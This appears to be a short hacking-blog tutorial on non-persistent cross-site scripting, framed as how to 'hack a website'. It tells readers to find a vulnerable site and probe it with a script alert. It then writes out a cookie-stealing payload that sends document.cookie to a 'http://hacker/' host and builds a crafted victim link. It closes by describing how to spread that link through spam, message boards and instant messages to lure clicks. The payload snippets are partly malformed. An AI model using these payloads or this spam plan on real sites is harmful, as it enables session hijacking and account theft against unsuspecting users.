How to hack a website using Cross site scripting (XSS)

What is  Cross site scripting :-

As quoted in wiky
"Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007. Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site's owner."

There is no single, standardized classification of cross-site scripting flaws. but most 
experts distinguish between at least two primary flavors of XSS non-persistent
and persistent to know whats persistent and non persistent click here

In this tutorial i will explain about  Non-Persitent attack 

First of all you must find a vulnerable site .( for this you can refer
my post on How to find a vulnarable site )

After finding  a site enter a simple java script given bellow in the serch box or url bar

<SCRIPT>alert("XSS testing by hackhaholic.blogspot.com");

 If a dialog box  pops up as shown then the site it is vulnerable to xss

In the above example we added a harmless alert dialog box
In the next example i will show you how we can add  more sophisticated and
dangours XSS attack to exploit users
One typical example is a simple cookie theft exploit
.

 var+img=new+Image();img.src= "http://hacker/"%20+%20                            document.cookie;

The previous JavaScript creates an image DOM object.

var img=new Image();

Since the JavaScript code executed within the http://victim/ context, it has access to the cookies

The image object is then redirected to hackers website where the victim cookies are stored

img.src="http://hacker/"%20+%20document.cookie;

Once the hacker has completed his exploit code, which looks like

http://victim/ context=">">+var+img=new+Image();img.src= "http://hacker/document.cookie;

Now the hacker will advertise this specially crafted link through spam e-mail , message board posts, Instant Message (IM)messages, and others, trying to attract user clicks. What makes this attack so effective is that
Users are more likely to click on the link because the URL contains the real Web site domain name, rather than a look-alike domain name address as in normal phishing